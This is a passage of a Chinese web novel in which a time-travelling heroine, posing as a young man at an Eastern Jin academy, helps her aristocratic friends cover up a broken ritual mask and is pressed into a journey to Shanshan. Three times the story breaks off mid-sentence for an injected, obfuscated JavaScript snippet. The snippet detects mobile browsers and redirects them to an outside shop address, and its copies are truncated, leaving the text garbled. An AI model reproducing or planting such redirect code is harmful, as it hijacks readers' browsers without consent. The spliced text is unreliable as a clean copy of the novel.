李三娘回头,没好气道:“怎么了,离了我片刻就要离魂撒手人寰了吗?” 桓幼和笑:“不敢。就是开始想你了。” “……” “……” “……” “……” “……” 门吱呀一声无情合上,五个人各自抱着自己,和自己的鸡皮疙瘩逃也似地走了。 大街上疾步匆匆,有人还在自抱,忍不住问:“三娘子,幼和私下与你一起都这般……骇人模样吗?” 三娘子羞赧又气恼:“原先也不这样,醒来后大概觉得自己大难不死,开悟成这样了。” 庾彦庭手背拍手心朝祝弥急道:“梦成!不会回错魂了吧!那还是我们原来的幼和吗?!” 祝弥的鸡皮疙瘩最先复原,挠挠头:“吓人吗?其实也还好吧。恋爱不都这样。” 众人更加惊恐:她居然是同一类型的吗! 到了药铺,李三娘在最角落的药柜里翻找半天。最后手心摊开,三颗串珠似的奶白色干果展现在众人眼前。 “此物是在陇西商市上购来的,叫做菩提子,据说是菩提树的果实。父亲还没琢磨出来它的功效呢。你们闻闻看是不是?” 挨个嗅了嗅,沁人心脾的清淡幽香,又闻闻面具,四人不住连连点头。 最后李医师的药柜里丢了一味珍贵的西域香药,多了三颗路边捡的鹅卵石。 也没有找到真正制面具的材料,怀里揣个菩提子估计就图个心理安慰,但是安慰只有三份,而心虚的人有四个。 “我不配分到一颗吗?”晃着空空如也的掌心,祝弥瞪着眼睛质问。 谁也不想晚上失眠。 其余人充耳不闻,握紧了手心。挑了个最近的,祝弥拽着桓错的袖子,“给我。” 桓错手举高,菩提子像是长回了树上。 “梦成!”王洵乐摆出王家大郎君的架子,一声沉声呵斥,让她冷静,“梦成在山阴可有跑风的人脉?” 还扯着袖子不放手的祝弥愣愣摇头。 “那这菩提子就交给我们吧!我们去问问手下人。” “怎么不拿面具去?” “面具要试着修修。” “骗人。”能修还至于这么慌张找原材料吗,个个都学会胡扯。 王洵乐大概是四人中最操心面具的那一个,其余人要么没心没肺不以为意,要么早就做好了最粗暴的破局之法打算。而他想要一个符合他审美的轻巧落地的结局,甚至不惜想到了兵法。 两天时间,往西走到能就地取材之处是不可能的了。一天找木,一天雕刻,或许可以无事发生瞒天过海。实在实在不行,两害相权取其轻,就说是彦庭弄坏的,他家里人宠他爱他,多半会替他求情。到时候处罚下来,几个人再一起和他分摊,也行,或者书房找出几幅阿姐的字画送他,也能作抚慰…… 转而他又深长地叹气:唉……怎么连推脱给他人的想法都有了。 王家大郎君是表率,绝不能逃避。 “好香,这是什么味道?” 往回走的时候路过一个高墙大院,院内人声鼎沸好不热闹,还飘出阵阵肉香,祝弥忽然停下,吸着鼻子。 众人也闻到了:“羊肉味吧。” 庾彦庭头也没抬:“这是谢家。今日有谢家女出嫁,里面是宴席。” 自从穿越过来,祝弥没在祝家里过过两天好日子,就一路奔波劳累来了钱唐。书院里一日两餐,朝食清淡,米面饼粥,只有漂浮的猪油是一点油花。夕食多半会睡过头,吃的是院内扫地翁分给她的小半块馅饼。不过错过晚餐也不遗憾,食堂多是水煮,还有咸得要死的腌肉鱼鲊,她没当自己是吃饭,是在吃苦。 鲜肉才好吃。 好久没大鱼大肉大快朵颐了,上辈子再辛苦也没过过素食主义的生活,煮泡面她还得加个煎蛋呢。祝弥忽然有点委屈,走不动路了,舔舔嘴唇咽咽口水:“饿了。” “哎呀梦成你的心怎么这么大!还有心情想着吃!” “面具一事还不知该如何解决呢,先回书院再说?” “回去灶房给你拿两个葱饼。” 她还是不肯动,有人开始轻推她肩膀。 葱饼。 唉。闻着羊肉味谁要吃葱饼。 祝弥甩掉肩膀上的手,长吸又长叹一口气,悲伤万分:“闻起来实在是太香了,羊肉,唉,好像是上辈子才吃过的东西。” 三人:坏了,这辈子没吃过羊肉。祝家怎么虐待孩子。 有人第一个立即转口:“走吧,蹭谢家一顿,也不耽误事。” 王洵乐还在犹豫:“不如之后再带梦成……”抬眼看见另外那二人已经“挟持”着没吃过肉的可怜孩子往谢家大门走了,不由喊道:“哎,你们有请帖吗别无礼……” 事实证明,只要脸皮够厚,没什么是得不到的。一路入内果然畅通无阻,四人被迎到其中一桌便坐下悠然自得享用美食。祝弥连喝三大碗鲜美的白羊肉汤,嫁女的谢大人前来寒暄时说着什么蓬荜生辉门楣生光,她嘴上还沾着油花忘了擦。 吃饱了才意识到,这几人的脸或者名还真能换吃的,挨个确认:“你,琅琊王氏?” “嗯。” “你是谯郡桓氏。” “嗯。” “这谢家就是陈郡谢氏?” “嗯,这家是谢氏的一个旁支。黄河流域国土尽失,梦成是知道的吧?他们谢家当家的正在西边跟着灵玦的叔祖父打据蜀的成汉。”王洵乐耐心作答。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102440|195123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心思在绕别的圈:傩面一事还毫无着落,又无帖上他人门,目的纯粹是吃口饭,刚刚谢大人前来相迎,他简直想遮脸装不是本人。可一看身边三个人昂首挺胸,坦然至极,他又忍不住要笑。 祝弥点点头。难怪那谢大人对桓错格外恭敬,不像主对客,倒像家臣见主公。 庾彦庭在她脸前挥挥手,“我呢?我呢?” “你,我忘记了。”祝弥耸耸肩。 “嗯?”庾彦庭差点掀桌:“欺负人呢这是!颍川!颍川庾氏!” 他又愤愤小声嘀咕还击:“田舍村夫,上虞祝氏。” 桓错喝茶,淡淡道:“她家也是侨族,不是世代上虞人。” 琅琊、谯郡、颍川、陈郡都是北方封地,南渡过江而来,统称侨族。 “那是哪?”问的人是庾彦庭,但他发现有人露出和自己一样的表情,不由笑道:“梦成自己也不知道?还要你内兄告诉你?” 王洵乐替答:“从前朝来算的话,应当是先长安,后洛阳。” 曹魏太短太乱,他指的前朝是汉。西汉都城长安,东汉迁至洛阳。 庾彦庭拱手朝祝弥表示失敬:“梦成世代京城人氏也,我才是田舍村夫。” 如今士族把持着九品中正的入仕通道,才能在朝廷各大官阶中安排族人子嗣得以掌握权力,造就“王与马,共天下”的士族分权局面。而在汉朝,士族的前身是各郡的本土望族,先垄断文化,靠举孝廉入仕,借此掌控郡内军政财等实权。就比如东汉末年大名鼎鼎的汝南袁氏,即袁绍、袁术的那个袁,一部家传绝学《孟氏易》成就了他们袁氏四世三公的盛名。 如今的上虞祝家也有绝不外传的祝氏绝学——占天卜卦之术,虽然和权势无缘,但是极其实用。是以这支祝氏,外人虽不可考,但是至少史书记载,整个汉代,他们族人都在中央任太史令,主管天文历法。 这种官职自古便有,古到什么程度呢,单单提一个更往前的,八百年周朝,那时叫太祝,掌管占天卜卦、宗祠祭祀,是人与鬼神沟通的媒介。 以官为姓,常见。以姓为官,早于制度之上,或许也不是不可能,毕竟在赖农耕以生的天朝千年里,观象授时是先民播种收获的重要依据,是绝对的死生大事。是先有太祝巫祝一事,还是先有他们上古祝氏会观星卜天,这是外人竭于想象都做不出的论断了。 王洵乐浅笑一声:“所以说,梦成家的家训,比起我家那五百年的,怕是只长不短。” 但祝弥像是听外人的故事,又在暗自算着汉朝和周朝的年限,看起来游离在外,愣愣的,还想鼓掌直呼精彩。说起来,阿苓告诉过她的,虽然阿苓只说了六代单传,但也没说不单传的时候还有家史。啧,这笨阿苓!真的不会说重点。 忽然注意到那三人看她的目光,还笑得古怪,她立即收敛茫然之色,连忙抬手喝茶,遮掩一下。喝完,那三人还在那般笑。 她侧头回避视线,最终认输般地憋出几个字:“我是不是很怪?” 得到异口同声回答:“没有比你更怪的人了。” 缺乏常识,能见鬼,日常行迹言论古怪就不提了,如今连自家的来历都需要外人解释…… 她额头冒汗,逞强:“还好吧,也没那么怪吧。我就是我,不是别人。” 王洵乐看她一眼,低头喝茶:“嗯,怪是怪了点,不过很有意思。” “梦成太自谦了。”桓错声音幽幽道,“你们说有没有可能,现在的祝梦成其实已经不是原来的祝梦成,是一缕野魂鸠占鹊……” “咳!咳咳咳!” 祝弥为打断那话,一口茶差点把自己呛死。茶杯撞上桌面,她硬着头皮道:“是啊,等祝梦成的魂魄被我吃完了,第一个就上桓灵玦的身。” 庾彦庭马上接话:“那我是第二个吧!” 三人一阵笑开。桓氏幽默,只有一个人不熟悉。 祝弥:“……” 17. 鬼跳傩舞傩面掉 吃得心满意足之后,他们去和桓幼和道别,然后回书院。 桓幼和得知现在桓错的舍友是祝弥,笑得很开心。对着几人离去的背影叮嘱:“同舍一场也是有缘,灵玦要照顾好梦成。” 祝弥耸耸肩,“他不整天没事威胁我就行。” 桓错:“死皮赖脸蹭上来的也算缘分吗?” 回钱唐又得好一阵骑马。祝弥在傩祭之前已经被三位师父充分教导乘骑的技术,如今上马走两步不在话下,第一次尝试跑完山阴至钱唐全程也不是不可能。但是她吃饱喝足,犯困了,只想发呆,便厚着脸皮要去找专属马夫。 被迫让出位置,腰带又要被拽的桓错:“……” 其余两人也没在意,一边上马一边闲谈。庾彦庭:“对了,妙一阿姐说的那件事难办吗?” 王洵乐摇摇头:“找了这么多年都没有下落,如今也是寻个安慰。” “那是什么?”刚爬上桓错马后背的祝弥听见有瓜可吃,连忙插嘴。 “传国玉玺。”稍有严肃的四个字。 不是一件秘事,只是平民百姓不敢谈论。 五百多年前,秦始皇统一天下时,以蓝田玉雕刻成一方皇帝玉玺:方圆四寸,上纽交五龙,底部印刻着八个鸟虫篆字——“受命于天,既寿永昌”。从此这个玉玺作为帝王印信流传于各朝代天子手中,视为皇权正统的象征,称为传国玺。 如今的司马朝,血统虽不容置疑,但天家之事,嫡庶有别,毕竟是从琅琊郡匆匆南逃而来的宗室,活着就不错了,哪有那么多身外之物。所以据传,传国玺和旧帝一起没在了失陷的洛阳城里。 有人说玉玺被胡人连同国库里的无数珍宝收回了草原,有人说当日城破,玉玺被旧帝仓惶藏在洛阳宫城中某处,又有人说玉玺被内臣侍女冒死携带出城,成功南渡了。 总之新朝建立之初,无玺是事实,新帝坐在那龙椅之上,多少有点心虚。很快不乏有心之人散布纷纷流言:不得玉玺则不得天道。得幸当时的王氏雷霆手腕,杀的杀,止的止,流言稍稍平息。 但近月来沿江地区淫雨连绵,江河溃决,千里良田尽成洪泽,哀鸿饿殍遍野,建康尽完人事,开始求鬼神,连办数场祈晴仪式,均无甚收效。 天道不在、帝势不正的谣言又起。 王皇后此次前来山阴,一是为了王季林的事和书院会讲,二就是为了替天子分忧寻找玉玺以堵悠悠众口。十八年来,在建康、山阴和当年皇城有关系的宫人旧臣都被王氏暗地里搜罗审问了个遍,皆道不知玉玺下落。王皇后年轻气盛,要亲自寻找,带来了无数的宫人名录旧本,意在查漏。 听完祝弥连连点头,不知道是不是错觉,好像手上的腰部肌肉紧绷收了收。忍不住去看桓错的一点侧脸,肃静平和,嗯?他也有有话不想说的时候? 回到书院已经天色渐晚,但院内依旧人影攒动、热闹得很。停马的时候还听见仆从抱怨马厩满了,马的水和草粮都比平常多送了三轮——慕名而来的人太多了,会讲盛况可见一斑。 书院中央的祭坛改成了讲堂,学者们争论某事上了头,入夜了还带动观众群情激昂。三人似乎有事要忙,没分到菩提子的祝弥看什么都新鲜,一个人去听会讲。 桓错被忧心忡忡的王洵乐安排去做了些事,再回书院时已是拂晓,原以为能听见清晨的鸟语花香,没想到还是人声鼎沸。 会讲居然是连夜不带停的吗?他也诧异了。走近台下席间,一眼就看见众多听众中的一个人,他更诧异了。 “你是醒了还是未睡……在听老头辩论?”一夜未睡,他嗓子有些哑。 “睡了点。”祝弥听见了但没看他,生怕一个目移会错过台上的先生们什么精彩表现似的,眼睛一眨不眨,明亮得很,“会讲太有意思了。” 祝弥显眼也是因为在一众昏昏欲睡的听众中是腰背挺得最直的一个,颇有木秀于林的气度 随意找了个无人的垫子,桓错在她身旁坐下,长腿一弯,甩甩额前的头发,强行清醒些许:“谈什么?” “孝道。” 是一位观点太过标新立异的先生在舌战群儒,独角戏一样精彩。 见他想听,祝弥便低声和他说这晚印象最深的观点。一位先生提出“父母无恩论”,台上台下所有人听到暴论似地当即哗然,群起而攻之。为表不认同,他身后的听众都跑到了他的对面去坐了。 那位先生认为:父母于子女的恩情,当分为生恩和养恩。父母无恩论,指的是生无恩。因为孩子出生这一行为本意,是男女情欲发乎也。把这种天性包装成恩德,却冠冕堂皇要孩子孝敬感怀。可笑至极。 “如何?”说完,祝弥问他看法。 只见他眼皮很低,似是困极,胸腔起落几息,声音却很清晰,反问她:“你认同吗?” “认同。”祝弥不犹豫地点头。 小满六亲缘浅,父母都没有,何来感恩。不过她对此不困惑,只是想到了惠娘,想到惠娘这样盲目尽孝、孝的还是别人父母的人在这世上不止一个,心里有些可惜。 “呵。”桓错一声轻笑,“生恩没什么可谈的,情欲发乎也好,天性使然也好,人一出生父母子女都无法回头,恩不恩的都是斩不断的血缘纠纷,天伦之乐还是同室操戈,都是他人家事。再吵一千年,还是会有源源不断的人出生。” 嗯?到底是清晨思绪迟缓,祝弥想了一会还没想明白他的意思,联想到这人拒绝王妙一拒绝得很无情,最终皱眉:“你性冷淡?” “你坐在这里一晚上能听得懂多少?”对方的脸立马变了。 意思是骂她理解力差劲对吧?吵架,祝弥从来没输过,再次强调:“你果然性冷淡。” 桓错阴着脸,不再多说,只顾着手向自己身后探。 这动作分外熟悉,祝弥一惊,才两句话就要掏刀?未免太过小气。打架她可打不过,连忙按住那手臂,谄媚改口:“开玩笑的!我这是担心妹妹的事习惯了。哎呀,好妹夫器宇不凡威风凛凛,本当如何,自是如何,怎么可能因为旁人不知死活的一两句话就生变呢,别生气别生气。” 对方把她的手拍开,要掏的东西也没拿出来,没好气道:“梦成还是多担心担心自己吧,诗文不成,骑射不就,瘦骨伶仃,弱不禁风。恐怕日后行人事也难以尽力,孩子都不一定能抱上,就别在这里大谈什么父母子女恩了。” “不担心不担心,祝家六代单传,不行也罪不在我,都是代代传下来的好品质。”男人的尊严她没有,但是她有呛嘴的决心,“以后小心别把妹妹嫁我。” “……”对方果然哑口无言,转而又语气幽幽,好像在比惨:“十八年前百来个桓氏都死在了洛阳,如今的桓家人丁稀少,姐姐妹妹是一个也没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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这是她很感兴趣的议题。 新的话题先生们立场不一样,又划分出了阵营,出现新的舌战群儒,数名羽扇纶巾的先生们对着一位与其说是先生不如说是僧侣的学者抨击不停。祝弥却侧耳听得身后有学生偷偷评价僧侣的那身红白袈裟是“奇装异服”。 奇怪,这个时代和尚很少见吗? 正想着,她面前的案几上不分轻重地砸下一个袋子。身边有新来的人径直入座,而且心情很不好。 袋子歪倒敞口,里面的东西露出来。 这动静让撑着下巴正闭目养神的桓错睁眼了,冷静一瞬,张口对来人:“如何?” 王洵乐语气极差:“真是奇了怪了,那些人都是老木匠,一雕面具,不是说刀太钝就是说眼花手抖,一晚上就囫囵吞枣弄了三幅,总觉得在糊弄我。” 坐在中间的祝弥听讲很认真,余光瞥了一眼桌子上,是三幅没上色的白木质面具——班丹拉姆的素胚。就是粗糙了点,也不如原物古朴。 桓错也从身后拿出东西,是个奁盒,散发着幽香,“拿着那菩提子,我倒是很顺利,制香制了浓淡三种。彦庭那边呢?” “还没回来,估计棘手——” ——“先生们!我有疑问!”交头接耳的二人中间,有人“刷”地站起来打断, “我想问人死后会去哪?” 18. 鬼跳傩舞傩面掉 不是祝弥嫌桓王二人在耳边嗡嗡吵,才故意打断,只是刚好台上的先生们辩完一轮,正朝下开放答疑。前几轮答疑,场下都格外热情,她生怕抢不到发言机会。 总觉得这几位先生们论生死都没有论到那个最关键的点上,像是刻意回避似的。一个秉承最传统的儒学,自动闭麦,只道:“未知生,焉知死。”一个摇着拂尘:“一之道化为阴阳二气,阴阳生五行,五行化万物。阴阳五行,生死相依,谓之自然,复归本真。”有人忽然挠头坦白,自己正在改良五行散,研究长生不死的秘方,吃着还不错。有人反驳,修道之人忌讳老而不死,应当以跳出五行,得道飞升为修行目标。 最后那个僧侣说着大多数人听不懂的话:阿弥陀佛。缘起性空,缘会则生,缘离则灭,诸君现在在此,皆有因缘起。 先生们要么谈生,要么谈死,要么谈由生到死的单箭头。 可小满是一个自死向生的人,是反的,眼睛里也全是鬼同事。死后是虚无?她不信。 听了祝弥的提问,先生们七嘴八舌,含混不清地回答。有人叹曰:死就意味着羽化登仙失败,魂飞魄散,认命就是!有人否定:死后即回归本源一道,那是混沌之境一切生命的初始。有人安慰:死是必然,顺其自然,少年不该怕死。 僧侣又发出不一样的声音:“阿弥陀佛。死后有来世,以谓因果轮回。” 有先生实在听不下去这一家之言的异见,十分不屑:“来世?你是说死后会变成另一个人吗?!笑话!” 另一先生侧头问僧侣:“什么是因果轮回?” 大师答:“欲知前世因,今生受者是;欲知来世果,今生作者是*。” “光头兄!你到底从哪来的!”一声喝斥,是一位先生听烦了这个莫名出现的僧侣不争不抢又不错过任何一个议题的看法。 僧侣双手合十,全无愠色:“阿弥陀佛。贫僧寂照,自天竺一路东来,志在大兴佛法,传经中原,普度众生。” “故弄玄虚,不知所云,狗屁佛法!” 眼见其他先生越来越不客气,山长连忙打圆场,解释寂照高僧一路讲经行善,化解世人苦难,民众间有佳话美名,也有不少信徒追随。此次在钱唐停留实属书院荣幸,书院得到了许多珍稀的西域佛经抄本,还有傩仪上那第十三神面具。 这个时代佛教好像还是个新鲜事,祝弥想追问人死能不能复生之类的问题,却被桓错捂住嘴巴半拖半拽地架走了。 拖进一间房间,门关上,王洵乐幽怨的声音响起:“梦成还敢在那寂照面前连连提问,你把他千里迢迢带来的面具弄坏了,不心虚的吗?” 桓错关门后立马松手以示无辜,冒犯洁癖的人的行为都是王洵乐指使的。 祝弥算是发现了,跳一场傩舞下来,面具裂了,最心虚不安的是这个姓王的。偏偏他又最有手段,把几人哄得连夜脚不沾地。她笑道:“你们一人刻面,一人找香,彦庭应该是去找漆了吧?想着重新做一个以假乱真的面具出来?可这面具雕得不真,染上去的香迟早也会散尽,新漆又要怎么旧成百年老漆?再说了,这时候归还假面具就不怕冲撞忌讳了?” “梦成说得轻巧,要不就你去和先生们交代吧,面具是假是坏,全凭你主意。” “洵乐别生气嘛。”祝弥笑眯眯道:“你们三人奔波忙碌一晚,我也做点小贡献吧。”说着四指一勾,示意二人凑近。 几人贴耳交谈完,王洵乐皱眉盯着手上的原版面具,犹豫许久。 桓错挑挑眉,“嫁祸?梦成好狠的心。” 祝弥:“挑一个弄坏了面具也不会被狠罚的角色不就好了。” 桓错:“那就那个光头先生吧。” 没礼貌,人家叫寂照大师。祝弥用力比出赞同的大拇指:“好!我原本还考虑山长的。” 羊毛出在羊身上,反正是大师自己带来的面具,而且十三神兽,怎么听都不如十二神兽吉利。让习俗“复原本真”,其他先生也会乐见其成的。 王洵乐:“喂,别那么快就顺着她的主意走了啊。” 这时候门被踹开,“——累死我了!” 庾彦庭捧着个大木匣风尘仆仆进了来,“你们是不知道制那西域漆有多麻烦!里面的细闪都是宝石矿物!我偷了家里所有的珍珠和珊瑚,磨粉磨了大半个晚上哈哈哈哈哈!” 屋内几人向他投去了同情的目光:辛苦了,破费了,但是不需要漆了呢。 会讲持续了几乎两天一夜,结束的时候已经是第二个日暮。祝弥听了一整晚的讲座,看得出寂照大师的观点不被其他修儒修道的先生认可也依旧不卑不亢面不改色,唯有山长时不时替他说几句话。想来大师也是随和的人,被几个小辈陷害一下也是救人一命胜造七级浮屠,大师会愿意的。 计划就在会讲结束的时候进行。 所有人都是极疲惫的状态,加之天色渐暗,先生们都是相互搀扶着站起来的。山长虽不参加辩经但也全程陪同,起身时扶着老腰,老眼昏花。瞧见寂照闪躲往来的人流,重心失衡险些要摔倒,连忙去搀扶。 这时有一人恭敬迎上前,朝寂照作揖。 “寂照大师,小生王洵乐,想请教佛缘。” 勾起大师的兴趣实在容易。寂照原本还在被扶,听了这话就甩开山长的手站直了。 话术是认真听讲的祝弥教的,王洵乐先问大师什么是缘什么是轮回,然后询问西域风土人情,最后聊到藏佛天女班丹拉姆,拿出那副完整无损的面具,细问含义和其上的装饰意象。 天太黑,大师看不清细节,王洵乐顺势递上原物。 两人交手面具的那一瞬间,不远处传来一声:“啪!” 是一拳到肉的声音。 “有病?!我们什么仇什么怨!”是有两名学生起了肢体龃龉,只见一人朝另一人面上来了一拳。 “要想人不知除非己莫为,昨天私底下怎么说的我妹妹?!”说着手又抡拳挥去。 “鬼认识你妹妹?”被揍的那一人开始抬手反击。 “少装!姓桓的全都告诉我了!跟你拼了!” 天色黯淡,灯还未点上,呛嘴的那两个人像两团影子,当即扭打在一起,动静很大。王洵乐见大师接了面具转头去看情况,便松手后退一步,动作干干净净,和马上要发生的事毫不相干。 有一道细微的破空声疾驰划过。 “啊。”寂照大师拿着面具的手不知为何一松,“哐当”一声,面具落地,像个西瓜一样干脆裂开成两瓣,半弯的弧 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眼角淤青的庾彦庭笑嘻嘻:“没事,不来点拳拳到肉的声音生怕他们不当一回事。” 祝弥捂着肿起来的嘴角,也笑嘻嘻:“我多给他一拳,不亏。” 庾彦庭:“我下手比你重。” 祝弥:“根本不痛,我故意叫得很惨而已。” 庾彦庭:“笑死,嘴肿成那样还嘴硬,你是桓灵玦的鸭子?” 祝弥:“敢对我鹅兄不敬,一会指使它们来叨你。” “嘘。”桓错举起一指放在唇上,沉眉侧耳,那边在说这件事的结局。 二人当即噤声,隐约听见一点对话内容也不放在心上,只用眼神继续相互较劲。 祝弥第一次和人打架,对方脸上挂彩比她多,满意之心油然而起。一拳飞到脸上的感觉真新奇,像是江湖儿女快意恩仇拔剑斩恩怨似的。欣赏完庾彦庭的鼻青眼肿,转头看见桓错的背影,腰上的玉佩散发着幽暗的荧光有点醒目。 玉,记得是很冰凉的。 当个大侠嘴角还真的有点痛,得冰敷一下。 这么想着,手就伸过去了。刚抓上那玉佩,玉佩的主人正好向前走出拐角掩体,系带被拉长,玉佩从腰上跑到了祝弥手中。果然冰凉,她忍不住会心一笑。 桓错回头看了偷玉佩的人和她手上的玉佩一眼,晦暗看不清脸色,但出走的脚步不曾改变,弃暗投明主动朝王洵乐那边去了,一副也要和大师谈佛经的气势。 祝弥看不明白那人的神情和动作,自顾自用玉敷嘴角,不经意转头,撞上庾彦庭怪异的视线。 她后知后觉,口腔内部尝到铁锈味:“什么情况,他出去干嘛?” 桓错是他们这一嫁祸计划的完全暗面,按理说不必露面。 而庾彦庭还一副活见鬼的吃惊表情盯着她,显然二人的危机感不对位。几秒钟后喃喃:“这玉是他母亲的遗物,宝贝得很,你不知道吗。” “知道啊。” “不,你不知道。”庾彦庭吞吞口水,“上一个这样摸他玉的人,已经死了。” 祝弥滚脸的手骤然一僵。 19. 鬼跳傩舞傩面掉 祝弥和庾彦庭留在原地对着玉佩大眼瞪小眼,又眼睁睁看着桓错朝山长和大师走去。 这是计划之外的举动。 四人再次在房间内会面谈话的时候,每个人脸上表情都不一样,有人畏畏缩缩,有人耸肩等戏看,有人愁云密布,有人……莫名地,晴光澄朗?也不知在开心什么。 此刻状态为晴公子的桓错径直把躲在庾彦庭身后的祝弥挑了出来,弯腰凑近,嘴角和眼尾都弯弯,又流露出万分诧异:“梦成怎地惊吓成这样?” 玉佩完好无损地举到二人之间,祝弥移开目光,声音小小:“不好意思,嘴角肿了,感觉有个冰凉凉的东西敷一敷会舒服。没弄脏,别介意。” “怎么会,可有消肿一些?”桓错一把接过玉佩,直接按在祝弥的嘴角上。说话的语气真诚,甚至含笑,但是动作可以说是和细致毫不相关,一手强势压肩,一手以玉敷贴嘴角。 祝弥的脸颊肉上被推成一个半括号,心道:好恐怖好怪异。忍着痛又不太敢抗拒,硬着头皮受着:“好多了好多了,真是块好玉。”试图推开,又纹丝不动。 对方不答话了。 壮着胆子抬眼察人神色。不想眼前人一副好不认真一心只想帮忙消肿的贴心模样:神色舒展,眼尾微挑,双目莹润如清泽映流光。祝弥一不小心望进去,心惊得险些找不到归途。 “……”她又只好移开视线,去求救别人。 庾彦庭也看不下去了,收到信号就介入二人之间,没好气道:“真是服了,桓灵玦。平日对邻家女郎鼻子比天高不见得有多么上心,自从认识了梦成,怪里怪气的。净拿我兄弟当玩物是吧,恶心,滚开滚开。” 是很怪。庾彦庭自问也算从小熟知他。这人与人相处表面上看着随和带笑,其实没把多少人放在眼里,也就他庾某人不厌其烦天天和他吵架惹得一点注意力。若他心情差起来,那也是不留情面不分场合地甩脸。 还记得六年前,他沉溺失恃的悲伤过久,庾彦庭和王妙一想开导他,安慰的方式稍欠妥帖,拿他那个玉佩开了个小玩笑,结果这人史无前例发了好大一通脾气。 怎么说,妙一阿姐是女郎,所以庾彦庭挨了双份打,最后还得鼻青脸肿又愧疚万分地向他道歉。 自从桓幼和被偷魂,祝弥开始出现的时候,这人脸皮就变厚了,总是口口声声什么“她是我同舍、内兄”,什么“你们不知她有洁癖”,什么“让她和我睡一张床”……对个娘子如此上心热情还可以理解,可对方是个正儿八经的男儿郎,时不时也是蛮嫌弃他的……唉,都不知道说什么好了。 只是凭什么…… 凭什么梦成是你一个人的啊! 但桓错丝滑变脸,偏头甩来一个凌厉眼刀,意思是和你有什么关系。 庾彦庭气势骤减,住嘴了:“……” 祝弥被逼到墙角,试图挣扎,乱碰好像又不对,真的好没边界感一男的。“……还记得我有洁癖吗……远点行吗?” 桓错装听不到,继续玉敷。 “唉,灵玦!别玩了好吗!”一旁的王洵乐急得摊手,“都要气死我,怎么都没人关心面具一事。” 是哦? 庾彦庭忙问如何了。 “原本一切进行得好好的,那寂照都认下了,”王洵乐蹙眉,深长叹气,带着怨意瞥了一眼桓错,“可灵玦……跟犯病了似的。气死我了。” 那寂照大师原先只当是自己手误,也无从怪罪,正好他要返西,承诺届时再带回来一个。倒是山长很生气,批评王洵乐私留面具导致意外发生,准备罚他抄字写文。无人提及傩祭,也不细究面具上的裂纹就要草草落下处理,王洵乐已是暗喜,正表演着愧疚痛心疾首地点头,谁料到这桓灵玦突然现身走出来,把他们这一套精妙的嫁祸计划全部坦白了。摊开掌心展示打松大师手腕的罪证:几枚小石子。 只道一切全是他的错,面具其实是被他不小心用刀划裂的,只是想看看这百年流传的木头硬还是他的刀硬。 最后还嫌两位师长的脸不够黑,他又满不在乎地补充:面具也实在丑陋,多看一眼都心堵。 “放肆!”山长怒喝。 大师叹气:“罪过。” 现在好了,不光王洵乐该抄的书不减反增,还要这自首的恶徒做寂照大师的贴身护卫,一路护至西域,拿回新的班丹拉姆,以作弥补。 东西往返一趟,少说一年半载。待到书院会讲结束,车马整备几日,便启程出发。 王洵乐看不明白桓错,又阻止不得。 “西去?!”庾彦庭也傻了,冲着桓错,“你是不是真有什么毛病啊?” 一切不是轻拿轻放按照计划进行得好好的吗? 祝弥不敢看向他,大概琢磨出一点什么,“西域?哪里?”忽然嘴角一疼,桓错手上的玉死死按着她。 “鄯善。”王洵乐叹气,“大师说他要往鄯善去。” 祝弥登时关窍大通,怒瞪桓错,道:“你想叫我和你一起去?!” 他母亲也是从鄯善来。 桓错终是心虚,移开视线,但靠近的动作依旧气势迫人,语气柔软又耐心:“不会有危险的,我带领家里一支部曲跟随,先西行,再北上。加上承礼和叔祖父据西北,边关有重兵把守,凉州的张将军仍是我朝的张将军。我们官事在身,一路皆是王土,不会叫你遇到半个胡人。再说了,寂照大师说这个叫攒功德、结善果,他为交换汉书胡经,走这条路数次,也算是经验丰富,一直平安无事。梦成就当一路向西北,见识见识异域风土人情,如何?” 鄯善原本乃西域边陲小国,此前国名为楼兰,曾夹在汉朝和匈奴之间当见风使舵的墙头草。历年来多次背刺汉朝来使,叫汉王好不气恼。于是汉王便遣兵使将,用计刺杀楼兰王,扶持新王登基,改国名为鄯善,意为:恭顺听话。从此鄯善王为保全自身常往天朝进贡无数金银珠宝美人,挣得一方安稳。 鄯善地处贵霜、匈奴、天朝三国中间,又坐落在大漠巨泽蒲昌海的西岸,自古就是东西往来商人僧侣停马休整的交通要冲、必经之路,如今胡族南下,天朝衰弱,竟让这附属小国稍有喘息之机,出现清明治世的繁荣盛况,摇身一变成承纳多方文化的西域大国。 眼前人把鄯善说得头头是道,根本就是早做好了盘算,在等一个出发的理由。但祝弥把人强硬推开,玉佩差点飞出去,她咬牙挤出两个字:“不去。” 要不是她现在是个男人,差点就被那张脸和一副盛情难却的姿态被迷惑住了。 接住玉佩的桓错长叹一口气,对不明就里的另外二人解释:“母亲有亡愿,我非去不可。眼下机会正好。” 王洵乐:“抓着梦成跟你去是为何?” 桓错装出来的情谊或轻浮尽失,盯着祝弥意图显露,又叹又笑:“只恨不能把玉一直塞她嘴里。” 祝弥猛地擦嘴,怒瞪回去,心道:就说怎么一直往我嘴唇上怼! 庾彦庭挡住祝弥:“不许惦记我梦成兄能扶乩,自己的事情自己做!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 